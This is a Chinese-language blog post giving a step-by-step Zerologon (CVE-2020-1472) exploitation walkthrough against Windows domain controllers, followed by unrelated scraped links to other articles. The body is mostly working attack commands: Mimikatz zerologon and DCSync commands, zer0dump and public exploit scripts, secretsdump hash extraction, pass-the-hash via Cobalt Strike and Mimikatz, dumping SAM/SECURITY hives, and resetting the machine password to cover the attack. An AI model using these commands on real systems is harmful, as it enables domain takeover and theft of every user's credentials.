CVE-2020-1472 Zerologon

漏洞简介

CVE-2020-1472是继MS17010之后一个比较好用的内网提权漏洞,影响Windows Server 2008R 2至Windows Server 2019的多个版本系统,只要攻击者能访问到目标域控井且知道域控计算机名即可利用该漏洞.该漏洞不要求当前计算机在域内,也不要求当前计算机操作系统为windows,该漏洞的稳定利用方式为重置目标域控的密码, 然后利用城控凭证进行Dc sync获取域管权限后修复域控密码,之所以不直接使用坏控凭证远程执行命令,是因为城控账户是不可以登录的,但是域控具备Dc sync权限, 可以获取域内任意用户的凭证。

漏洞利用过程中会重置域控存储在域中(ntds.dit)的凭证,而域控存储在域中的凭证与本地的注册表/lsass中的凭证不一致时,会导致目标域控脱域,所以在重置完域控凭证后要尽快恢复。

利用过程

0x01 置空密码

Mimikatz(推荐)

管理员权限运行Mimikatz

# 提升权限
privilege::debug # 检测是否存在漏洞
lsadump::zerologon /target:<dc-ip> /account:<主机名>$ # 重置密码
lsadump::zerologon /target:<dc-ip> /account:<主机名>$ /exploit # 导出域管hash
lsadump::dcsync /domain:<domain> /dc:<DC server> /user:<想要导出hash的user,如:administrator> /authuser:<计算机名>$ /authdomain:<domain> /authpassword:"" /authntlm
例如:
lsadump::dcsync /domain:de1ay.com /dc:dc.de1ay.com /user:krbtgt /authuser:DC$ /authdomain:de1ay /authpassword:"" /authntlm

Zer0dump

这个工具好在会直接利用会返回域管的hash,更快速一点,不过需要新版impacket比较麻烦。

原文:https://blog.zsec.uk/zerologon-attacking-defending/

工具链接:https://github.com/bb00/zer0dump

git clone https://github.com/bb00/zer0dump.git
cd zer0dump-master && pip3 install -r requirements.txt

每攻击256次会有一次起作用,但还要排除0.04%的虚假利用情况,所以会最大尝试2000次保证成功,当返回值为0时代表利用成功。这会导致 account's password 变为空字符串进而利用PTH等方法进一步操作。

利用:执行成功后会返回管理员用户的账号和hash

python3 zer0dump.py <target-ip>
"该漏洞利用程序将域中的NTDS.dit(保留了该域上所有用户的所有NTLM哈希值)/tmp/dumped.tmp.ntds转储到域,并利用秘密转储来转出本地管理员密码,如上所示。此外,由于返回的错误代码为零,因此我们可以看到该漏洞利用成功。管理员的哈希值已设置为空白字符串"

排坑:

0x01 报错:AttributeError: module ‘impacket.dcerpc.v5.nrpc’ has no attribute ‘NetrServerPasswordSet2 ’

解决:重新安装最新版本的impacket

git clone https://github.com/SecureAuthCorp/impacketcd
cd impacket
pip install .

cve-2020-1472-exploit.py

链接:https://github.com/VoidSec/CVE-2020-1472

python3 cve-2020-1472-exploit.py <主机名> 192.168.159.149
# 主机名也就是扫出的机器名称,对应的会有一个主机名$账户

0x02 导出hash

secretsdump.py

python3 secretsdump.py <domain>/<主机名>\$@<dc-ip>  -no-pass
proxychains python3 secretsdump.py <domain>/<主机名>\$@<dc-ip> -no-pass > hashes.txt

0x03 PTH of CobaltStrike

当知道target ip 、账户和 账户hash且有一台内网的机器权限时如何快速上线。

当然这里也可以用自己喜欢的方式。

前提

有一台可通target ip的cs上线机器

已知target ip的账户和hash

首先 Add一个监听器,Name随意, TCP Beacon

view --> targets --> Add 添加目标

完成后在targets标签页里,或点击 选择刚才添加的target右键 --> Jump --> psexec_psh

填写相应user,该userpassword hash ,所在DomainListener选择刚才添加的 TCP BeaconSession选择可访问此target的内网cs上线的机器,点击Launch就上线了。

这个新生成的会话会带用下图红框标注的标记,这代表是从之前内网cs上线的机器的Session派生出的新Session,当内网的机器cs掉了这个会话也就掉了

0x03 PTH of Mimikatz

privilege::debug

sekurlsa::pth /user:administrator /domain:<domain> /rc4:<NTLM hash>

之后会弹出一个cmd

0x04恢复hash

这里因为之前通过NetLogon将账号hash置为空,后续获得域管hash后需要赶紧将之前在SAM文件保存的hash去恢复,否则会脱域。

导出SAM

保存 sam.save 、security.save 、 system.save

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save # 获取文件路径
get system.saveget sam.save
get security.save # 删除文件
del /f system.save
del /f sam.save
del /f security.save

获取原来的NTLM Hash

python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL

通过拿到 $MACHINE.ACC: 的值,然后进行恢复:注意只有后半部分:

恢复Hash

python3 reinstall_original_pw.py Motoo-DCSRV 192.168.159.149 ce7b34c0f2c72d6cb03123ef5ff741ca

验证恢复结果

python3 secretsdump.py Motoo.nc/Motoo-DCSRV$@192.168.159.149 -just-dc-no-pass

python3 secretsdump.py Motoo.nc/Motoo-DCSRV$@192.168.159.149    -no-pass   # 四个空格

0x05 小Tips

如何寻找域控计算机名?

# 不在域内
nbtscan扫描
nmap smb嗅探
nslookup <域控ip> 有时dns服务器也搭在域控上 # 在域内
命令查询

参考文章

https://cloud.tencent.com/developer/article/1780108

https://github.com/VoidSec/CVE-2020-1472

https://github.com/bb00/zer0dump

https://blog.zsec.uk/zerologon-attacking-defending/

https://cloud.tencent.com/developer/article/1753595

CVE-2020-1472 Zerologon的更多相关文章

  1. CVE¬-2020-¬0796 漏洞复现(本地提权)

    CVE­-2020-­0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...

  2. 【漏洞通告】Linux Kernel 信息泄漏&权限提升漏洞(CVE-2020-8835)通告

    0x01漏洞简介: 3月31日, 选手Manfred Paul 在Pwn2Own比赛上用于演示Linux内核权限提升的漏洞被CVE收录,漏洞编号为CVE-2020-8835.此漏洞由于bpf验证系统在 ...

  3. 三叶草极客大挑战2020 部分题目Writeup

    三叶草极客大挑战2020 部分题目Writeup Web Welcome 打开后状态码405,555555,然后看了一下报头存在请求错误,换成POST请求后,查看到源码 <?php error_ ...

  4. 2. 假设当前文件夹中data.csv文件中存放了2020年某饭店营业额,第一列为日期(如2020-02-03),第二列为每天交易额(如3560),文件中第一行为表头,其余行为实 际数据。

    假设当前文件夹中data.csv文件中存放了2020年某饭店营业额,第一列为日期(如2020-02-03),第二列为每天交易额(如3560),文件中第一行为表头,其余行为实  际数据.编写程序,完成下 ...

  5. 1472. Martian Army

    http://acm.timus.ru/problem.aspx?space=1&num=1472 题目大意: 一颗树,根节点(1) 的值为 1.0,所有叶子节点的值为 0.0 ,其他节点值任 ...

  6. CVE: 2014-6271、CVE: 2014-7169 Bash Specially-crafted Environment Variables Code Injection Vulnerability Analysis

    目录 . 漏洞的起因 . 漏洞原理分析 . 漏洞的影响范围 . 漏洞的利用场景 . 漏洞的POC.测试方法 . 漏洞的修复Patch情况 . 如何避免此类漏洞继续出现 1. 漏洞的起因 为了理解这个漏 ...

  7. hdu 2020

    题目链接:http://acm.hdu.edu.cn/showproblem.php?pid=2020 思路:优先队列水过priority_queue #include <cstdio> ...

  8. CVE

    一.简介 CVE 的英文全称是"Common Vulnerabilities & Exposures"公共漏洞和暴露.CVE就好像是一个字典表,为广泛认同的信息安全漏洞或者 ...

  9. Problem 2020 组合(FOJ)

    Problem 2020 组合 Accept: 714    Submit: 1724Time Limit: 1000 mSec    Memory Limit : 32768 KB  Problem ...

  10. TZC 1472 逆置正整数,去前导零 (java一句话秒杀)

    逆置正整数 http://acm.tzc.edu.cn/acmhome/problemdetail.do?&method=showdetail&id=1472 时间限制(普通/Java ...

随机推荐

  1. convert number or string to ASCII in js

    convert number or string to ASCII in js ASCII dictionary generator // const dict = `abcdefghijklmnop ...

  2. js jsonParse

    mdn const rx_one = /^[\],:{}\s]*$/; const rx_two = /\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g; // 匹配 ...

  3. vueJS+ES6开发移动端APP实战项目笔记

    一.什么是MVVM框架 MV*包括MVC.MVP.MVVM MVVM框架由Model.View.ViewModel构成. Model指的是数据,在前端对应的是JavaScript对象. View指的是 ...

  4. JAVA 批量下载服务器文件到本地指定文件夹并重命名

    /** * @功能 下载文件到指定文件夹并重命名 * @param url 请求的路径 * @param filePath 文件将要保存的目录 * @param filename 保存到本地的文件名 ...

  5. 1.go语言入门----Helloworld与包引用

    HelloWorld与包引用 学习一门语言的惯例都是从helloworld开始,go语言也不例外 在gopath下的src中创建一个helloworld目录,创建main.go文件 package m ...

  6. CentOS7安装Mysql并配置远程访问

    (su root登录到root账户) 下载repo源 wget http://repo.mysql.com/mysql-community-release-el7-5.noarch.rpm 安装rpm ...

  7. 如何使用 Navicat Premium 的新“自动运行”工具自动运行行数据库复制。

    数据库复制有至少三种不同的方式: 快照复制:一台服务器上的数据复制到同一台或不同服务器上的另一个数据库. 合并复制:来自两个或多个数据库的数据被合并到一个数据库中. 事务复制:用户收到数据库的完整初始 ...

  8. Virtual DOM 简直就是挥霍

    彻底澄清"Virtual DOM 飞快"的神话. 注意:原文发表于2018-12-27,随着框架不断演进,部分内容可能已不适用. 近年来,如果你有使用过 JavaScript 框架 ...

  9. Java I/O流 02

    IO流·字节流 IO流概述及其分类 * A:概念 * IO流用来处理设备之间的数据传输 * Java对数据的操作是通过流操作的 * Java用于操作流的类都在IO包中 * 流按流向分为两种输入流.输出 ...

  10. cve-2018-2893 weblogic -WLS核心组件反序列化

    漏洞分析 https://www.freebuf.com/column/178103.html https://www.freebuf.com/vuls/177868.html 攻击者可以在未授权的情 ...